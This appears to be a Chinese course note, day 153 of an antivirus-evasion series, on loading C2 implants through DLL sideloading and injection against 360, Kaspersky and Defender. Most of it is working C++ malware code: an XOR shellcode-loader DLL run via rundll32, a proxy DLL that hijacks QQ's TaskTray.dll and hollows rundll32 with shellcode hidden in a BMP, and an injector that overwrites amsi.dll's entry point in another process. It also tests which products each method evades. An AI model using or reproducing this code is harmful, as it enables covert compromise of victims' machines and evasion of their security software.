免杀对抗——第一百五十三天

C2远控篇&C&C++&DLL注入&过内存核晶&镂空新增&白加黑链&签名程序劫持

前置知识

开启360核晶
  • 从本节课开始,我们就不再看火绒的了,主要聚焦于360、卡巴以及DF,然后我们还需要将360的核晶开启来,参考文章地址:https://blog.csdn.net/fishfishfishman/article/details/134156418
    在这里插入图片描述

  • 然后,我们就可以开始学习接下来的技术,尝试绕过360核晶、卡巴以及DF等等

DLL调用逻辑
  • 在Windows中,程序加载DLL的逻辑顺序如下:
    (1)可执行程序加载的目录
    (2)系统目录
    (3)16位系统目录
    (4)Windows目录
    (5)运行某文件的所在目录
    (6)路径环境变量中列出的目录
白加黑
  • 我们在之前权限提升中讲过DLL劫持,这里其实也差不多,主要还是四种方式:

    1. 利用系统自带的程序加载生成的恶意上线DLL
    2. 用白名单程序加载的DLL - 在原有的基础上替换DLL文件
    3. 用白名单程序加载的DLL - 在原有的基础上加DLL文件
    4. 用白名单程序加载的DLL - 在原有的基础上加执行代码
    5. 用白名单进程加载的DLL - 在原有的基础上加DLL注入
  • 上面说的这些其实就是大名鼎鼎的白加黑,通过白名单程序加载恶意的黑DLL文件,进而绕过杀毒软件的检测

  • 只是说这四种思路加载DLL的方式又各不相同,免杀的效果也不相同
    在这里插入图片描述

  • 然后下面我们就围绕这几种方式去看看他们如何实现,以及其免杀性

  • 但是这种方式的缺点就是我们需要观察目标主机上面存在的第三方程序,然后下载到本地模拟程序加载DLL,制作好之后再上传到其目录执行EXE上线

C2远控 - DLL注入-白加黑-调用执行&DLL劫持

加载恶意DLL文件
  • 这个就是直接上传恶意的DLL文件,我们先不考虑免杀的问题,然后用系统自带的程序去执行这个DLL,比如rundll32.exe程序

  • 我们先用VS创建一个DLL项目:
    在这里插入图片描述

  • 这里会自动创建两个文件,然后将dllmain.cpp代码改为如下:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
  #include <iostream>
    HANDLE My_hThread = NULL;
    DWORD  WINAPI  ceshi(LPVOID pParameter)
    {
    char encryptedShellcode[] = "<ShellCode>";
      // 定义解密所用的密钥
      char key[] = "<Key>";
        // 定义一个与加密shellcode大小相同的数组用于存储解密后的shellcode
        unsigned char shellcode[sizeof encryptedShellcode];
        // 获取密钥的长度
        int keylength = strlen(key);
        // 遍历加密的shellcode,并使用异或操作进行解密,将结果存储在shellcode数组中
        for (int i = 0; i < sizeof encryptedShellcode; i++) {
        shellcode[i] = encryptedShellcode[i] ^ key[i % keylength];
        printf("\\x%x", shellcode[i]);
        }
        // 获取解密后的shellcode的地址
        char* addrShellcode = (char*)shellcode;
        // 声明一个DWORD变量用于存储旧的内存保护属性
        DWORD dwOldPro = 0;
        // 更改解密后的shellcode所在内存区域的保护属性,允许执行、读、写
        BOOL ifExec = VirtualProtect(addrShellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
        // 使用EnumUILanguages函数执行解密后的shellcode
        EnumUILanguages((UILANGUAGE_ENUMPROC)addrShellcode, 0, 0);
        return 0;
        }
        BOOL APIENTRY DllMain(HMODULE hModule,
        DWORD  ul_reason_for_call,
        LPVOID lpReserved
        )
        {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH://初次调用dll时执行下面代码
        My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
        break;
        }
        return TRUE;
        }
        extern"C" _declspec(dllexport) void test()
        {
        int a;
        a = 0;
        }
  • 如果这里是32位的ShellCode,并且在之后生成运行时显示"xxx.dll出错,缺少xxx条目"的,需要在当前目录加一个mydll.def文件,写入如下内容:
; mydll.def - 强制导出未修饰的函数名
LIBRARY Dll1  ; 你的DLL名称(不含.dll)
EXPORTS
    ceshi      ; 导出的函数名
  • 然后配置项目属性:
    在这里插入图片描述
    在这里插入图片描述

  • 接着我们将生成的dll文件(我这里是Dll1.dll)放到目标主机,运行如下命令:

// rundll32.exe dll文件 入口函数
rundll32/rundll32.exe Dll1.dll ceshi

在这里插入图片描述

  • 可以看到不考虑免杀的情况是能够成功上线的,但是这种方式免杀性极弱,而且很多时候杀毒软件都会拦截rundll32.exe这些程序的操作,所以效果不佳
白加黑 - DLL劫持
  • 我们为了避免杀毒软件监控系统自带软件的敏感行为,可以用一些白名单程序,所谓白名单程序其实就是第三方或者官方加了签名的程序,比如QQ、微信等等
    在这里插入图片描述

  • 因为系统自带的程序数量少,默认会加载哪些DLL可能杀毒软件都清楚,但是如果是第三方的白名单程序数量很多,杀毒软件不可能每个都记录其所加载的DLL文件,因此可能免杀的几率会大很多

  • 然后我们的第一个思路就是将上面的DLL1.dll程序,直接加到某个白名单程序下面,让其调用上线

  • 在此之前需要下载微软官方的进程分析ProcessMonitor工具:Process Monitor - Sysinternals | Microsoft Learn

  • 使用教程:Process Monitor的基本使用方法_process monitor怎么用-CSDN博客

  • 再下载一个白名单程序,比如小迪用的KK录像机:录屏软件哪个好用_电脑录屏怎么录_KK录像机官网_免费下载
    在这里插入图片描述

  • 我们要让他加载自定义的DLL程序,首先想到的就是之前讲的DLL劫持,所以要看他会加载哪些DLL文件,于是我们用ProcessMonitor看看:
    在这里插入图片描述

  • 设置规则,然后点进去就可以看到它所调用的DLL文件:
    在这里插入图片描述

  • 当然这里我们要找Path和Company都是KK.exe的DLL,比如这个libfontconfig-1.dll
    在这里插入图片描述

  • 然后我们将之前生成的Dll1.dll替换这个文件,让他调用的libfontconfig-1.dll为我们的恶意DLL文件

  • 但是这样很可能让程序无法启动,导致dll也没办法正常加载,所以慎用:
    在这里插入图片描述

白加黑 - 增加新DLL文件
  • 刚才那种替换DLL文件的方式失败了,缺少某个dll文件会导致整个程序无法运行,所以我们想到不改变原本的文件结构添加DLL文件

  • 于是可以用一些工具,比如StudyPE+去添加DLL,需要注意DLL文件的位数,选择对应位数的程序启动,将libfontconfig-1.dll文件拖进去,点击导入函数,添加我们的恶意DLL:
    在这里插入图片描述

  • 这里添加函数时可能会显示PE位数不对,原因是原本的DLL是32位,我这里编译成了64位,所以重新编译成32位即可:
    在这里插入图片描述

  • 导入成功后就会多出一个我们的恶意函数test(),将这个函数添加进去:
    在这里插入图片描述

  • 关闭时点击保存覆盖掉原来的DLL文件,并且将这两个DLL文件放到原目录下面,然后我们再运行这个KK录像程序,就会发现程序运行成功并且也上线成功了:
    在这里插入图片描述

  • 其实它的调用逻辑就是:

KK程序  -->  libfontconfig-1.dll  -->  Dll1.dll  -->  上线
  • 不过现在这个技术火绒、360、DF、卡巴都过不了,会直接查杀这个KK.exe文件,所以还得再做得隐蔽一些才行

C2远控 - DLL劫持-白加黑-更改DLL&DLL镂空

白加黑 - 改变原DLL代码
  • 上面这种通过原DLL文件调用恶意DLL文件的方式还是需要我们上传恶意DLL文件,并做到免杀,而且有些程序它有防增加DLL文件的检测,并不高效

  • 因此我们想到,可以直接更改原DLL文件的代码结构,我们以QQ作为演示,首先还是要找到其运行时所加载的DLL文件,这里如果直接找它是空白的,可能是有防查看的一些功能
    在这里插入图片描述

  • 我们需要自己设定一些规则去进行筛选,比如:

Rules:
Process Name     is        QQ.exe         Include
Result           is        SUCCESS        Include
Path          contains     dll            Include
Path          contains     System32       Exclude
  • 然后这里我们找到的是TaskTray.dll文件,当然找其他的也是一样的,只是这个文件之后识别出来的函数会少一点,比较好改动:
    在这里插入图片描述

  • 我们将这个文件拿出来,用VS自带的dumpbin工具去查看它的位数以及包含的函数:

# 查看包含函数
.\dumpbin /exports "D:\Program Files(x86)\Tencent\QQ\Bin\TaskTray.dll"
# 查看位数
.\dumpbin /headers "D:\Program Files(x86)\Tencent\QQ\Bin\TaskTray.dll"

在这里插入图片描述
在这里插入图片描述

  • 当然也可以通过StudyPE+程序直接查看:
    在这里插入图片描述
    在这里插入图片描述

  • 这个函数其实就是导出函数,也就是类似于我们之前自己写的像test()ceshi()这样的函数,那我们其实就可以直接自己写一个新的DLL文件,将这些信息也放到我们的DLL文件中:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
  #include <stdlib.h>
    #include <stdio.h>
      using namespace std;
      extern "C" __declspec(dllexport) int DllCanUnloadNow()
      {
      return 0;
      }
      extern "C" __declspec(dllexport) int DllGetClassObject()
      {
      return 0;
      }
      extern "C" __declspec(dllexport) int DllRegisterServer()
      {
      return 0;
      }
      extern "C" __declspec(dllexport) int DllUnregisterServer()
      {
      return 0;
      }
      BOOL APIENTRY DllMain(HMODULE hModule,
      DWORD  ul_reason_for_call,
      LPVOID lpReserved
      )
      {
      switch (ul_reason_for_call)
      {
      case DLL_PROCESS_ATTACH: {
      FILE* fp;
      size_t size;
      unsigned char* buffer;
      fp = fopen(".\\1.bmp", "rb");
      fseek(fp, 0, SEEK_END);
      size = ftell(fp);
      fseek(fp, 0, SEEK_SET);
      buffer = (unsigned char*)malloc(size);
      fread(buffer, size, 1, fp);
      char* v7A = (char*)VirtualAlloc(0, size, 0x3000u, 0x40u);
      memcpy((void*)v7A, buffer, size);
      struct _PROCESS_INFORMATION ProcessInformation;
      struct _STARTUPINFOA StartupInfo;
      void* v24;
      CONTEXT Context;
      memset(&StartupInfo, 0, sizeof(StartupInfo));
      StartupInfo.cb = 68;
      BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
      if (result)
      {
      Context.ContextFlags = 65539;
      GetThreadContext(ProcessInformation.hThread, &Context);
      v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, size, 0x1000u, 0x40u);
      WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, size, NULL);
      // 64 位使用 Context.Rip = (DWORD_PTR)v24;
      Context.Eip = (DWORD_PTR)v24;
      //Context.Rip = (DWORD_PTR)v24;
      SetThreadContext(ProcessInformation.hThread, &Context);
      ResumeThread(ProcessInformation.hThread);
      CloseHandle(ProcessInformation.hThread);
      result = CloseHandle(ProcessInformation.hProcess);
      }
      TerminateProcess(GetCurrentProcess(), 0);
      }
      case DLL_THREAD_ATTACH:
      case DLL_THREAD_DETACH:
      case DLL_PROCESS_DETACH:
      break;
      }
      return TRUE;
      }
python2 dkmc.py
gen
set shellcode xxxx
run
  • 将ShellCode隐写到图片中,然后通过上面的方式进行读取,将生成的DLL文件更名为TaskTray.dll,连同图片一起放到目标主机上,运行qq程序成功上线:
    在这里插入图片描述

  • 过火绒还是轻轻松松,360、DF目前也还是能过,只是不太稳定,莫名奇妙会掉,但是也不报毒,也不查杀,我感觉是这个CS工具有点问题

DLL镂空
  • 这个和之前进程镂空技术差不多,不过我们这里是让其他进程去帮我们加载一个新的恶意DLL文件,这个DLL文件通过代码自动生成,直接上代码:
#include <iostream>
  #include <Windows.h>
    #include <psapi.h>
      int main(int argc, char* argv[])
      {
      HANDLE processHandle;
      PVOID remoteBuffer;
      wchar_t moduleToInject[] = L"C:\\windows\\system32\\amsi.dll";
      HMODULE modules[256] = {};
      SIZE_T modulesSize = sizeof(modules);
      DWORD modulesSizeNeeded = 0;
      DWORD moduleNameSize = 0;
      SIZE_T modulesCount = 0;
      CHAR remoteModuleName[128] = {};
      HMODULE remoteModule = NULL;
      // 64位shellcode
      char encryptedShellcode[] = "<ShellCode>";
        // 定义解密所用的密钥
        char key[] = "<Key>";
          // 定义一个与加密shellcode大小相同的数组用于存储解密后的shellcode
          unsigned char shellcode[sizeof encryptedShellcode];
          // 获取密钥的长度
          int keylength = strlen(key);
          // 遍历加密的shellcode,并使用异或操作进行解密,将结果存储在shellcode数组中
          for (int i = 0; i < sizeof encryptedShellcode; i++) {
          shellcode[i] = encryptedShellcode[i] ^ key[i % keylength];
          printf("\\x%x", shellcode[i]);
          }
          // 创建远线程注入正常的DLL
          processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
          //processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 3488);
          remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);
          WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL);
          PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
          HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
          WaitForSingleObject(dllThread, 1000);
          // 找到注入的DLL模块基址
          EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
          modulesCount = modulesSizeNeeded / sizeof(HMODULE);
          for (size_t i = 0; i < modulesCount; i++)
          {
          remoteModule = modules[i];
          GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName));
          if (std::string(remoteModuleName).compare("amsi.dll") == 0)
          {
          std::cout << remoteModuleName << " at " << modules[i];
          break;
          }
          }
          //得到DLL入口点
          DWORD headerBufferSize = 0x1000;
          LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
          ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL);
          PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer;
          PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew);
          LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule);
          std::cout << ", entryPoint at " << dllEntryPoint;
          // 覆盖DLL代码
          WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);
          // 远线程执行
          CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);
          return 0;
          }
  • 这样直接生成的EXE文件啥都过不了,我们还是暂时不考虑免杀,看看运行效果:
Dll1.exe <PID>

在这里插入图片描述

  • 这里需要PID为32位的程序,然后如果显示的不是at 0000000就说明应该是成功了,but这里我也没成功,所以这个技术基本没什么鸟用,查杀很严重